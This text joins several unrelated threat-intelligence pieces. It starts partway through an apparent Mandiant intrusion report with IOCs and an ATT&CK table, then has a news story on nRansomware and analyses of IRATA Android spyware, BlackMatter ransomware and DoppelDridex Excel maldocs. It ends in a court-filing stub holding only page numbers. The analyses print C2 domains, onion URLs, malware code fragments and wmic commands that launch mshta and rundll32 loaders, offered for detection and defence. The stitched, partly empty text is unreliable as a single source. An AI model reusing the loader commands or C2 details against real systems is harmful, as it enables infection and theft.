Though Mandiant cannot currently attribute this activity with higher confidence, the operational security associated with this intrusion and exploitation of a third party is consistent with the tactics employed by the actors behind the SolarWinds compromise and highlights the effectiveness of leveraging third parties and trusted vendor relationships to carry out nefarious operations. ## Acknowledgements Hundreds of consultants, analysts, and reverse engineers have been working together to understand and track these security incidents over the past year. This larger group has built a baseline of knowledge that enables us to continue tracking this actor. We would like to specifically thank Luis Rocha, Marius Fodoreanu, Mitchell Clarke, Manfred Erjak, Josh Madeley, Ashraf Abdalhalim, and Juraj Sucik from Mandiant Consulting and Wojciech Ledzion, Gabriella Roncone, Jonathan Leathery, and Ben Read from Mandiant Intelligence for their assistance in writing and reviewing this blog post. Also special thanks to the Microsoft DART and MSTIC teams for their ongoing collaboration. ## Remediation Mandiant recommends that organizations review and implement the changes suggested in the following Mandiant white paper which was recently updated to include advice around the Application Impersonation role and trust relationships with Cloud Service Providers and their customers. ## Technical Highlights to Aid Investigations or Hunting **Recent Staging Directories:** - %PROGRAMFILES%\Microsoft SQL Server\ms - %WINDIR%\Temp - %WINDIR%\Temp\d **Recent Staging Names:** - d.7z - vcredist.ps1 - fc.r - out - d.ps1 - d.z - megatools.exe - mt.exe - mtt.exe - ntds.dit - handle64.exe - movefile.exe - diagview.dll - diag.ps1 - diag.bat **Recent Scheduled Task Names:** - Microsoft Diagnostics - Microsoft Azure Diagnostics - Google Chrome Update **Recent Administrative or Utility Tools:** - Azure Run Command - Sysinternals Handle - Sysinternals MoveFile - ntdsutil - netstat - net - tasklist - RAR / 7zip - AADInternals - vSphere PowerCLI - Sysinternals Procdump - Windows Task Manager ## Indicators of Compromise **Hashes for Known Activity:** - diag.ps1 (MD5: 1d3e2742e922641b7063db8cafed6531) - vcredist.ps1 (MD5: 273ce653c457c9220ce53d0dfd3c60f1) - logo.png (MD5: 3304036ac3bbf6cb2205e30226c89a1a) - LocalData.dll (MD5: 3633203d9a93fecfa9d4d9c06fc7fe36) - Unknown (MD5: e5aacf3103af27f9aaafa0a74b296d50) - DiagView.dll (MD5: f3962456f7fc8d10644bf051ddb7c7ef) **IP Addresses Used for Authenticating Through Public VPN Providers:** - 20.52.144[.]179 - 20.52.156[.]76 - 20.52.47[.]99 - 51.140.220[.]157 - 51.104.51[.]92 - 176.67.86[.]130 - 176.67.86[.]52 **IP Addresses Used for Authenticating From the Mobile Proxy Providers:** - 216.155.158[.]133 - 63.75.244[.]119 - 63.162.179[.]166 - 63.162.179[.]94 - 63.75.245[.]144 - 63.75.245[.]239 - 63.75.247[.]114 **IP Addresses Used for Command and Control:** - 91.234.254[.]144 - 23.106.123[.]15 **URL Addresses Used for Command and Control:** - nordicmademedia[.]com - stonecrestnews[.]com **URL Addresses of Compromised WordPress Sites Hosting CEELOADER Payloads:** - tomasubiera[.]com - theandersonco[.]com ## MITRE ATT&CK Techniques Observed | ATT&CK Tactic Category | Techniques | |------------------------|------------| | Resource Development | Acquire Infrastructure (T1583) | | | Virtual Private Server (T1583.003) | | | Compromise Infrastructure (T1584) | | | Stage Capabilities (T1608) | | | Link Target (T1608.005) | | | Obtain Capabilities (T1588) | | | Digital Certificates (T1588.004) | | Initial Access | Phishing (T1566) | | | Spearphishing Attachment (T1566.001) | | | Spearphishing Link (T1566.002) | | | External Remote Services (T1133) | | | Valid Accounts (T1078) | | | Trusted Relationship (T1199) | | Execution | User Execution (T1204) | | | Malicious Link (T1204.001) | | | Malicious File (T1204.002) | | | Command and Scripting Interpreter (T1059) | | | PowerShell (T1059.001) | | | Windows Command Shell (T1059.003) | | | JavaScript (T1059.007) | | | Scheduled Task/Job (T1053) | | | Scheduled task (T1053.005) | | | Windows Management Instrumentation (T1047) | | Persistence | Boot or Logon Autostart Execution (T1547) | | | Registry Run Keys / Startup Folder (T1547.001) | | | Shortcut Modification (T1547.009) | | | Scheduled Task/Job (T1053) | | | Scheduled task (T1053.005) | | | External Remote Services (T1133) | | | Valid Accounts (T1078) | | Privilege Escalation | Process Injection (T1055) | | | Access Token Manipulation (T1134) | | | Token Impersonation/Theft (T1134.001) | | | Boot or Logon Autostart Execution (T1547) | | | Shortcut Modification (T1547.009) | | | Valid Accounts (T1078) | | | Scheduled Task (T1053) | | | Scheduled task (T1053.005) | | Defence Evasion | Process Injection (T1055) | | | Access Token manipulation (T1145) | | | Indicator Removal on Host (T1070) | | | Hide Artifacts (T1564) | | | Hidden window (T1564.003) | | | Clear Windows Event Logs (T1070.001) | | | File Deletion (T1070.004) | | | Timestomp (T1070.006) | | | Obfuscated Files or information (T1027) | | | Indicator Removal from Tools (T1027.005) | | | Virtualization/Sandbox Evasion (T1497) | | | System Checks (T1497.004) | | | Modify Registry (T1112) | | | Deobfuscate/Decode Files or Information (T1140) | | | Reflective Code Loading (T1620) | | | Valid Accounts (T1078) | | Credential Access | OS Credential Dumping (T1003) | | | NTDS (T1003.003) | | | Keylogging (T1003.001) | | Discovery | System Information Discovery (T1082) | | | File and Directory Discovery (T1083) | | | Account Discovery (T1087) | | | Local Account (T1087.001) | | | Domain Account (T1087.002) | | | System Network Configuration Discovery (T1016) | | | Virtualization/Sandbox Evasion (T1497) | | | System Checks (T1497.001) | | | System Owner/User Discovery (T1033) | | | System network Connections Discovery (T1049) | | | Network Service Scanning (T1046) | | | Process Discovery (T1057) | | | System Service Discovery (T1007) | | | Permission Groups Discovery (T1069) | | | Software Discovery (T1518) | | | Query Registry (T1012) | | Lateral Movement | Remote Services (T1021) | | | Remote Desktop Protocol (T1021.001) | | | SSH (T1021.004) | | Collection | Archive Collected Data (T1560) | | | Archive via Utility (T1560.001) | | | Data from Information Repositories (T1213) | | | Sharepoint (T1213.002) | | | Input Capture (T1056) | | | Keylogging (T1056.001) | | Command and Control | Web Service (T1102) | | | Application Layer Protocol (T1071) | | | Web Protocols (T1071.001) | | | DNS (T1071.004) | | | Encrypted Channel (T1573) | | | Asymmetric Cryptography (T1573.002) | | | Non-Application layer Protocol (T1095) | | | Non-Standard Port (T1571) | | | Ingress Tool Transfer (T1105) | | Exfiltration | Data Transfer Size Limits (T1030) | | Impact | Service Stop (T1489) | | Discovery | System Network Configuration Discovery (T1016) | Have questions? Let's talk. Mandiant experts are ready to answer your questions.
# This Ransomware Demands Nudes Instead of Bitcoin For years, cybercriminals have been extorting victims by locking their computers with malware. The hackers promise to give the victim their files back as long as they fork over the cryptocurrency—typically Bitcoin—within the stipulated time limit. Now, someone has added a new, perverse twist to this tried and tested scheme: demanding naked photographs instead of Bitcoin. Researchers at MalwareHunterTeam, a research group focused on ransomware, spotted the software, called nRansomware on Thursday. The group posted a screenshot of the message that's displayed when a victim gets infected: "Your computer has been locked," reads the message, which then asks the victim to email the hackers. "After we reply, you must send at least 10 nude pictures of you. After that we will have to verify that the nudes belong to you." The message is displayed on top of an haphazard background made of several images of the fictional children's character Thomas the Tank Engine and a smiley face with the writing "FUCK YOU!!!" in bold. It's not clear how many people have been hit with this ransomware, or how serious the hackers behind it really are. To some extent, the malware does appear to be legitimate. The file, nRansom.exe, is classified as malicious by several antivirus engines, including VirusTotal and Hybrid Analysis, which are both public malware repositories. Other users on Twitter also reported spotting more samples of this particular ransomware. Malware can end up on these repositories if someone manually submits an entry and details what it does and how, or if malware is submitted and is then automatically analyzed. Motherboard attempted to infect a virtual machine with the malware but was unable to do so. This could very well be a prank, given that it doesn't actually encrypt files, according to MalwareHunterTeam and another researcher who looked at the malware. "It is a screenlocker, so files aren't encrypted," MalwareHunterTeam told Motherboard in a Twitter direct message. "We have no information about anyone getting infected with this." The malware also appears to play looped music—from a file called your-mom-gay.mp3 that is actually the Curb Your Enthusiasm theme song—in the background, according to the MalwareHunterTeam. We contacted the hackers via the email address included in their ransom message. They didn't immediately respond to our questions. In any case, while this ransomware is clearly gross, sadly, it's not unexpected. Hackers have for years used malware to spy on women and steal their nudes or access their webcams. This story has been updated to note that this ransomware doesn't actually encrypt files.
# Technical Analysis of IRATA Android Malware **Muhammad Hasan Ali** **August 26, 2022** **Malware Analysis learner** **23 minute read** ## Introduction In this blog, we will talk about IRATA or Iranian Remote Access Trojan Android malware. IRATA comes from a phishing attack to Iran. The victim receives a legitimate-looking SMS with a link to a phishing page that impersonates government services, luring them to download a malicious Android application and pay a small fee for the service. The malicious application not only collects the victim’s credit card numbers but also gains access to their 2FA authentication SMS, turning the victim’s device into a bot capable of spreading similar phishing SMS to other potential victims. ## Technical Review - **Collect SMS**: The malware collects the victim’s SMS messages and uploads them to the C2 server. - **Bypass 2FA**: After stealing credentials and SMS of the victim’s device, which have the 2FA SMS to guarantee the withdrawal that the attacker did. - **Spam**: The malware collects contacts to send phishing SMS to them. - **FCM**: Uses Firebase Cloud Messaging (FCM) as a C2 server to avoid detection. ## Static Analysis ### Explore AndroidManifest.xml `AndroidManifest.xml` is not human-readable, so we use `apktool` to decompile the APK first to read the file. We need to read this file to know the abilities of this malicious APK and gather information such as entry points for the app, activities, services, intents, app permissions, and package name. ```xml <permission android:name="ir.shz.shzkisi.permission.C2D_MESSAGE" android:protectionLevel="signature"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.VIBRATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/> <uses-permission android:name="ir.shz.shzkisi.permission.C2D_MESSAGE"/> <uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> ``` The malware has the ability to steal SMS, steal contacts, and know the state of the phone. This is typical of spyware, which collects SMS and reads contacts to find more victims to send phishing SMS to. `com.google.android.c2dm.permission.RECEIVE` is used to receive data from the internet or cloud because the app uses Google Firebase to get commands from the C2 server. `BIND_GET_INSTALL_REFERRER_SERVICE` is used by Firebase to recognize from where the app was installed. ```xml <service android:exported="true" android:name=".firebasemessaging"/> <receiver android:exported="true" android:name=".firebasemessaging$firebasemessaging_BR"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> ``` When the app gets the permissions related to SMS, the malware collects the SMS from the victim’s phone and uploads it to the C2 server. ### Dive into classes.dex We will unzip the APK file to get `classes.dex`, which has the compiled Java code in DEX form. We need to convert `classes.dex` into a `.jar` file using `d2j-dex2jar` command, then use `JD-GUI` or `JADX-GUI`. After digging into the classes and methods, we see some classes the malware will use to perform its malicious activities. #### CallLogWrapper Class The `CallLogWrapper` class collects call logs of the victim, including details such as date, type, duration, number, and ID, and sends it to the C2 server. ```java public class CallLogWrapper { private static final String[] calls_projection = {"date", "type", "duration", "number", "_id", AppMeasurementSdk.ConditionalUserProperty.NAME}; // Other methods and properties... } ``` However, this class is not used by any other classes. #### ContactsWrapper Class The `ContactsWrapper` class collects the victim’s contacts and their details such as times contacted, number, last time contacted, and display name. The malware also collects emails connected to the contact and photos if available. ```java public class ContactsWrapper { private static final String[] people_projection = {"times_contacted", "number", "last_time_contacted", "display_name", AppMeasurementSdk.ConditionalUserProperty.NAME, "notes", "starred", "_id"}; // Other methods and properties... } ``` This class is also not used by any other classes. #### PackageManagerWrapper Class The `PackageManagerWrapper` class retrieves information about all installed packages on the victim’s phone, such as name and version code, potentially for overlay attacks. However, there’s no indication of this attack in this malware. ```java public class PackageManagerWrapper { private PackageManager pm = BA.applicationContext.getPackageManager(); // Other methods and properties... } ``` This class is not used by any other classes either. #### Phone Class The malware collects more info about the victim’s phone, such as the state of the phone and intercepts emails coming to the victim’s phone. ```java public static class Email { public String Subject = ""; public String Body = ""; public List To = new List(); public List CC = new List(); public List BCC = new List(); public List Attachments = new List(); // Other methods and properties... } ``` The malware also collects SIM information such as SIM Serial Number, Device ID, and Subscriber ID. #### PhoneEvents Class In this class, the malware intercepts incoming SMS messages to the victim’s phone. ```java public static class SMSInterceptor { private BA ba; private BroadcastReceiver br; private String eventName; // Other methods and properties... } ``` The malware tries to know more about the state of the phone, such as if the phone is shutdown or the screen is off, and monitors app installations and battery state. #### SmsWrapper Class The malware collects SMS from the victim’s phone, including ID, address, type, body, person, and date, and queries this information to upload it to the C2 server. ```java public class SmsWrapper { public static final int TYPE_DRAFT = 3; public static final int TYPE_FAILED = 5; public static final int TYPE_INBOX = 1; public static final int TYPE_OUTBOX = 4; public static final int TYPE_QUEUED = 6; public static final int TYPE_SENT = 2; public static final int TYPE_UNKNOWN = 0; // Other methods and properties... } ``` This class is used in the `firebasemessaging` class, where the malware prepares the collected information to send it to the C2 server. ## Dynamic Analysis Now we will try to run the malicious APK on an Android emulator using Android Studio and intercept the HTTP/S using Burp Suite. After installing the malware, we run it. We see it tries to connect to `connectivitycheck.gstatic.com` to check internet connectivity, but this site is not found by using VT. ## IoC | No. | Description | Hash and URLs | |-----|---------------------------------|-------------------------------------------------| | 1 | The APK hash (MD5) | ce41d55ee66d509e1e2043d9e238f65a | | 2 | C2 server | hxxp:///usenlghusk.gq/USK/rat.php | | 3 | C2 Server | hxxp://usenlghusk.gq/USK | ## Article Quote هﺎﱡﻨﻤﺗ ٍـﻣوﺮﺤﻤﻟ لﻮﺻﻮﻟا َبﺎﻃ .. اﻮﻔ ِﻘﺗ ﻻ برﺪﻟا ﻪﯿﻟإ ﻦﯿﻜﻟﺎﺳ ﺎﯾ ## References 1. IRATA
# Rapidly Evolving BlackMatter Ransomware Tactics **September 8, 2021 | By Cipher Tech ACCE Team** ## Summary Cipher Tech analysts monitoring VirusTotal for BlackMatter ransomware activity discovered new variants of BlackMatter malware self-reporting as versions 1.9 and 2.0. The new BlackMatter malware samples contain additional functionality, changes to the configuration data, and version 2.0 additionally introduces changes to the configuration decryption algorithm. Cipher Tech analysts developed an ACCE module to automate the extraction of BlackMatter malware’s configuration data. Cipher Tech’s analysis reveals new variants of BlackMatter malware and a refinement in BlackMatter’s tactics, techniques, and procedures. ## Who is BlackMatter BlackMatter is a ransomware affiliate program actively attacking victims that was first identified in July 2021 by RecordedFuture and a security researcher pancak3. BlackMatter claims to derive from the now inactive REvil and DarkSide ransomware affiliate programs. Supporting BlackMatter’s claim, a joint code correlation effort between BleepingComputer and Emsisoft suggests that BlackMatter malware’s encryption routines contain strong similarities to DarkSide malware samples. BlackMatter claims to target companies in the US, UK, Canada, or Australia with between 500 – 15,000 hosts and revenues of at least 100K. BlackMatter claims they will not target the following industries and will provide free decryption services to BlackMatter victims in these industries: - Hospitals - Critical infrastructure facilities - Oil and gas industry - Defense industry - Non-profit companies - Government sector ## Background Cipher Tech analysts leveraged ACCE to discover, decrypt, and parse configuration data from BlackMatter ransomware samples with reported version numbers of 1.9 and 2.0. Cipher Tech has not identified detailed public reporting for samples with a version number above 1.2. This suggests either a fast development cycle or a refinement in TTPs with respect to versioning. Cipher Tech’s ACCE software enables the automated extraction of configuration data from supported malware samples. ACCE indicated that parsing the 1.9 and 2.0 samples configuration data differed from the expected format of ACCE’s existing BlackMatter configuration parser. Based on the change in configuration, Cipher Analysts examined both samples to identify differences between BlackMatter’s 1.2 ransomware sample, BlackMatter’s 1.9 ransomware sample, and BlackMatter’s 2.0 ransomware sample. Analysis of the BlackMatter 1.9 sample and its configuration data revealed that BlackMatter added additional capabilities to BlackMatter 1.9. BlackMatter 1.9 contains the following new functionality: - Print ransom notes to a locally installed computer - Check the hostname of a compromised system prior to installation - Additional verification checks to ensure BlackMatter does not encrypt their own ransom note - Provide additional details and evidence of stolen information within the ransom note Further analysis of the BlackMatter 2.0 sample, reported by @sisoma2 on Twitter, and its configuration data revealed that BlackMatter uses all the changes indicated for 1.9 above, and changed the decryption algorithm for the configuration data and some encrypted strings. BlackMatter 2.0 uses the following decryption methodology: - A 64-bit seed/key for configuration and string decryption - A modified MMIX-LCG pseudo-random number generator (PRNG) algorithm for generating the key used to decrypt each 8-byte block of the encrypted configuration data/string. - A byte-swap algorithm for adjusting the generated MMIX-LCG state value into an XOR key for decrypting each 8-byte block. ## Samples Compared This post will demonstrate these changes in BlackMatter Versions 1.9 and 2.0 in comparison to a BlackMatter Version 1.2 sample. For the purposes of the analysis presented below: - Version 1.2 reflects the BlackMatter Ransomware with MD5 598c53bfef81e489375f09792e487f1a, compiled 2021-07-23T20:51:18+00:00 - Version 1.9 reflects the BlackMatter Ransomware with MD5 f1c260c31b9d3f9ff54a142d508ec602, compiled 2021-08-12T22:22:01+00:00 - Version 2.0 reflects the BlackMatter Ransomware with MD5 38035325b785329e3f618b2a0b90eb75, compiled 2021-08-16T07:13:07+00:00 ## Configuration Decryption The encrypted configuration data structure for 1.9 remains the same as previously documented by Group-IB; the data is stored in the .rsrc PE section. The encrypted configuration data structure for 2.0, however, is modified to account for the change in decryption algorithm. The following Python structure defines the change, where the seed is now 8 bytes instead of 4. ## Algorithm Changes The decryption algorithm in Versions 1.2 and 1.9 used an XOR algorithm where the key for each 4-byte block was generated using a modified Delphi/Pascal-LCG PRNG. Version 2.0 uses a modified MMIX-LCG algorithm for key generation, where the standard parameters are represented. Additionally, in the standard MMIX-LCG, the value is not masked, and in BlackMatter, the value is masked. In addition to the LCG-PRNG algorithm changes, 2.0 decrypts in 8-byte blocks (previously 4-byte blocks) and conducts a byte-swap on the MMIX-LCG generated value each round before using it as an XOR key for the 8-byte block. Following decryption, there are no additional changes in the procedure, and configuration data is aPLib decompressed in all versions (1.2, 1.9, and 2.0) and parsed. ## Configuration Parsing The decrypted and decompressed configuration data yields several differences, as described below. There were no changes in the configuration data from 1.9 to 2.0, so all differences will reflect a comparison between 1.2 and 1.9. ### Difference 1: Configuration Flag – Print Ransom Note The first noticeable difference is in the number of parsed flags. In Version 1.2, 8 flags are parsed, while in Version 1.9, 9 flags are parsed. The additional flag is described above for Version 1.9 as print_ransom, which is noticeably absent from Version 1.2. If the print_ransom field is set, during runtime the BlackMatter ransomware will invoke the method that calls the dynamically resolved API GetDefaultPrinterW and if the default printer is not a “PDF” printer, it will print the ransom note to that printer. ### Difference 2: Configuration Parameter – Invalid Hostnames The second configuration difference is in the inclusion of invalid hostname hashes. The hostnames are leveraged in the “safe mode” function. The difference from Version 1.2 to Version 1.9 is the inclusion of a function that checks if the compromised system is an invalid host. The Version 1.9 analyzed sample was not configured with any invalid hostname hashes; however, it can be surmised that the malware authors are attempting to avoid running in Sandboxes or other Virtual Analysis Environments. ### Difference 3: Configuration Parameter – Ransom Note Hash The final configuration difference is the inclusion of the ransom note hash, using the ROR-13-ADD hash algorithm. In Version 1.2, the BlackMatter ransomware will verify the input file is the same size as the ransom note, and that the filename hash is the same as the previously calculated value. On the right, Version 1.9 contains the same checks, but additionally hashes the file data to compare against the configured hash value. ### Difference 4: Ransom Note The ransom note obtained from Version 1.9 contains significantly more content than the one obtained from Version 1.2. The additional content includes details of the type of information stolen from the victim and print.sc links which presumably provide evidence that the information has been stolen. ## Conclusion The BlackMatter ransomware group is actively compromising victims and evolving their ransomware tooling and processes; network defenders need to remain just as vigilant. Cipher Tech’s ACCE solution leverages more than a decade of defense expertise to provide a service that can support your incident response and malware analysis teams in automating the process of identifying, unpacking, deobfuscating, decrypting, and parsing supported adversarial tooling. Cipher Tech will continue to monitor the ransomware threat landscape and do our part to inform defenders on the threats to their networks and their customers’ data. ## IOCs ### Hashes (MD5) **Version 1.2** - 18b8ab6af00f387f98b6d7f20253b87b - 598c53bfef81e489375f09792e487f1a - 639bb7abbd9bc6a9c275d0bf9555b610 - 6de1ba98baeda1f31e128f982e3878eb - 9c26a90a84078a406babb3543d79b8b7 - a55bc3368a10ca5a92c1c9ecae97ced9 - ad260da314d2f8f3f1531cc5779cbba9 - ba375d0625001102fc1f2ccb6f582d91 - d0512f2063cbd79fb0f770817cc81ab3 - e1f8b95beb02cd39e55cd8b31419b10f - e6b0276bc3f541d8ff1ebb1b59c8bd29 - ed74126d9234ac9c1dd21483e82a0dff **Version 1.6** - 01aef1c692a50a9d0e0369a58b1516ff - 10aa058a3ac49e016cad7987b8e09886 - 1dd464cbb3fbd6881eef3f05b8b1fbd5 - 3317daace715dc332622d883091cf68b **Version 1.9** - f1c260c31b9d3f9ff54a142d508ec602 **Version 2.0** - 38035325b785329e3f618b2a0b90eb75 ### C2 URLs - http://mojobiden.com - http://nowautomation.com - http://paymenthacks.com ### TOR Ransom URLs - http://supp24maprinktc7uizgfyqhisx7lkszb6ogh6lwdzpac23w3mh4tvyd.onion/LEOYRMQLSRHFGFGYWF2T5 - http://supp24maprinktc7uizgfyqhisx7lkszb6ogh6lwdzpac23w3mh4tvyd.onion/OR7OTLBK8D5UVHZ0Q - http://supp24maprinktc7uizgfyqhisx7lkszb6ogh6lwdzpac23w3mh4tvyd.onion/OYPF561W4U8HVA0NLVCKJCZB - http://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/7NT6LXKC1XQHW5039BLOV - http://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/EBVCVJNCPM6A3NKJ - http://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/GDBJS76DH3D4IKQD2QO7R - http://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/O3KTUJZRE6CB4Q1OBR ### TOR Blog URLs - http://blackmax7su6mbwtcyo3xwtpfxpm356jjqrs34y4crcytpw7mifuedyd.onion/xscSyb9oue/b2ec5065190ebe423b201a9f2af97bb7
# DoppelDridex Delivered via Slack and Discord **Summary** Several recent phishing campaigns have attempted to deliver a variant of the Dridex banking trojan via payloads staged on Slack and Discord CDNs. This is DoppelDridex, a modified variant of the original Dridex malware. It is operated by the financially motivated eCrime adversary tracked as DOPPEL SPIDER. Additional tooling is often delivered as a secondary payload such as Cobalt Strike, which may be leveraged for further remote access, lateral movement, and preparation for deployment of Grief ransomware. The recent campaigns delivering this malware variant have used a technique that leverages attachments with the Excel 4.0 sheet-style macros to fetch the initial payload that is hosted on domains of popular messaging CDNs such as discordapp.com and files.slack.com. These sites are likely attractive for threat actors to stage payloads because they may be trusted or allowlisted by proxies or other network-based controls. The maldocs in the phishing campaigns are also commonly built in the Microsoft Excel Binary Format (XLSB), which can cause problems for some tools designed for automated analysis. In this blog, I will review a recent sample of a DoppelDridex Excel maldoc with .xlsb extension and examine some analytical approaches to extracting useful information in the form of TTPs and IOCs. ## Delivery and Infection Chain The maldocs in these campaigns are delivered as attachments to emails that commonly leverage an invoice-based or tax-themed social engineering lure. If the user enables content, the sheet macro is executed. The macro code contains a series of two obfuscated HTML documents that execute embedded VBScript to retrieve the DoppelDridex payloads from adversary-controlled infrastructure hosted by the Slack and Discord CDNs. Two files are written to the ProgramData directory. The first is an embedded HTML document extracted from the sheet macro, which is written to ‘C:\ProgramData\[random name].rtf’ and run via an mhta.exe process. This .rtf contains an obfuscated array, which decodes to another HTML document. The second HTML contains lightly obfuscated VBScript and is responsible for launching a shell object which then loads the main DoppelDridex payload, ultimately written to disk in ‘C:\ProgramData\defdoc.png’ and then executed by a rundll32.exe process. ## Static Sample Analysis **SHA256:** 91164696edc4efba635e5246a48693e8fd75db2eef8e06e354848365b9fead55 The maldoc downloader is an example of an Excel document weaponized with Excel 4.0 (XLM) sheet-style macros, which have been popular for a couple of years now. This type of macro is an older standard by Microsoft that has been essentially deprecated in favor of VBA macros. However, all versions of Excel possess the capability of running Excel 4.0 macros; their use is simply discouraged. So, Excel 4.0 macros (a 20+ year standard) still work, and their functional use as a malware loader is intended for defense evasion. With sheet macros, instead of being contained in the OLE stream of a file, the code strings are simply broken up in various cells within the spreadsheet. ### Hidden Sheet Macros This can theoretically bypass detection mechanisms that are solely based on detecting compressed VBA within an OLE stream. When attempting to analyze the Excel 4.0 macro, there are several options for extracting them. You could track the code execution throughout all of the cells, but this is not practical as there are several cells that reference each other along with string/integer manipulation that would need to be processed. In these cases, it is not worth spending any additional time analyzing the document manually, and automated tools should be used. I have two go-to tools that do not require opening and interacting with the file directly. The first I typically try running is the oledump.py tool from Didier Stevens. This tool has a plugin developed specifically for sheet macros that are stored in the more common .xls or .xlsx formats, which will recognize these files and extract the macros from the BIFF record (Binary Interchange File Format) inside the OLE “Workbook” stream. The BIFF record is a very old file format that predates the XLS format and the use of OLE binary data. By using the BIFF plugin, the tool will then dump all of the BIFF records in the stream. This works well on XLS format but appears to be problematic with XLSB. I also like Decalage’s olevba for this type of analysis. Both tools are extremely useful for analyzing the OLE streams in documents weaponized with VBA macros. In this case, the XLSB caused me some problems as the file format being XLSB means there are literally no OLE streams to be analyzed, so the macros were not identified by my preferred tooling. Unfortunately, since this file is .xlsb, neither tool is able to recognize the file or identify the macros. Of course, in this case, we have the advantage of knowing there is definitely a macro contained in the maldoc. There are many cell values and/or string values that perform malicious operations when a victim enables content. Since both of my tried and true methods were not effective, I turned to an alternative tool from DissectMalware called XLMMacroDeobfuscator. This tool uses an internal XLM emulator that is able to parse the macros without the need to actually run the code itself. Below you can see that the deobfuscator not only identifies the macros but interprets the code execution, effectively stripping out the obfuscation. This way, the URLs that are hosting the initial DoppelDridex payload on cdn.discordapp.com and files.slack.com can be easily extracted. The XLMMacroDeobfuscator also identifies another segment of the HTML file that is of particular interest for the next stage execution. Here, I was able to identify a large block of integers that had been assigned to an array. The key to decoding this block is by looping through the array and then subtracting “1022” from each integer. I was able to get this key from a line below the code block: `RKzEcSN = RKzEcSN & Chr(Round(VYITkd - 1022,0))` If you look closely, the “VYITkd” variable is iterated through in the array via a For Each statement. The good news is that we can use this same logic to decode this array quickly and safely. I whipped up a quick Python script to handle this operation as this was likely the fastest and easiest method. The script itself isn’t anything fancy, but it got the job done. I basically just needed to loop through the array, subtract “1022”, and then convert the resulting integer value from decimal to ASCII format. Then by joining those results, I was able to get the second layer of HTML code. The final command here in the stage of the infection chain simply creates a new object and leverages a wmic process to launch rundll32 which loads the DoppelDridex DLL, which was previously downloaded as a PNG file. To recap, the commands that can be leveraged for detection are: `wmic process call create ‘mshta C:\ProgramData\[RANDOM].rtf’` `wmic process call create "rundll32.exe C:\\ProgramData\defdoc.png"` ## Conclusion DoppelSpider has consistently leveraged both Discord and Slack to deliver DoppelDridex payloads to victims in recent weeks. Search for the following Dridex tags on URLhaus, and it is evident that the usage of Slack appears to ebb and flow, but Discord appears to be a preferred platform to stage their payloads. If your organization doesn’t require connection to these CDNs, you might want to consider outright blocking them at your network perimeter if there is no business justification for those connections. These campaigns also consistently utilize the XLSB file format that may cause some problems for automation that relies on identifying malicious content in OLE streams. Despite this, static analysis can be accomplished with tools that can emulate the macros in the XLSB document type, which easily extract the embedded IOCs. Technical controls at the mail gateway typically have very high success rates for defeating commodity malware delivered in opportunistic campaigns. The EXCEL 4.0/XLM macros in the maldocs with XLSB format may evade detection for similar reasons as noted above. The TTPs presented here can provide some additional detection opportunities for a layered defense strategy. I have also presented some analysis techniques that can be used in response efforts to quickly identify and extract IOCs when needed. This campaign is a few days old at the time of this writing; however, the TTPs should still be relevant. ## IOCs - Delivery Maldoc SHA256: 91164696edc4efba635e5246a48693e8fd75db2eef8e06e354848365b9fead55 - DoppelDridex DLL SHA256: acbcd5ce1579a43148eee9b867f035cd0bc16f237a4790322467a0dac23ce7c6 - DoppelDridex DLL SHA256: a6aaa4ffb112d78aa20345821920ce6554d96303f7fb3facb5143de348cf2aae - hxxps://cdn.discordapp.com/attachments/890212086519566369/890212261132636200/5_samsrv.dll.dll - hxxps://cdn.discordapp.com/attachments/890212086519566369/890212251435425862/0_system.componentmodel.composition.registration.dll - hxxps://cdn.discordapp.com/attachments/890212591471824921/890212677559922708/9_dispex.dll.dll - hxxps://files.slack.com/files-pri/T02F79UM6TT-F02F9AE9ZJ6/download/3_SmiEngine?pub_secret=4e9eeb9360 - hxxps://files.slack.com/files-pri/T02ERNYLC69-F02F9AG9CEN/download/6_hpzstw72?pub_secret=356a094b3b - hxxps://files.slack.com/files-pri/T02EHM1BB19-F02FFGMT84C/download/6_hpzstw72?pub_secret=009a86b011
# Case 3:21-cr-00366-S **Document 1** **Filed 08/11/21** --- **Page 1** **PageID 5** **Page 2** **PageID 6** **Page 3** **PageID 7** **Page 4** **PageID 8** **Page 5** **PageID 9** **Page 6** **PageID 10** **Page 7** **PageID 11** **Page 8** **PageID 12** **Page 9** **PageID 13** **Page 10** **PageID 14** **Page 11** **PageID 15** **Page 12** **PageID 16** **Page 13** **PageID 17** **Page 14** **PageID 18** **Page 15** **PageID 19** **Page 16** **PageID 20** **Page 17** **PageID 21** **Page 18** **PageID 22** **Page 19** **PageID 23** **Page 20** **PageID 24** **Page 21** **PageID 25**
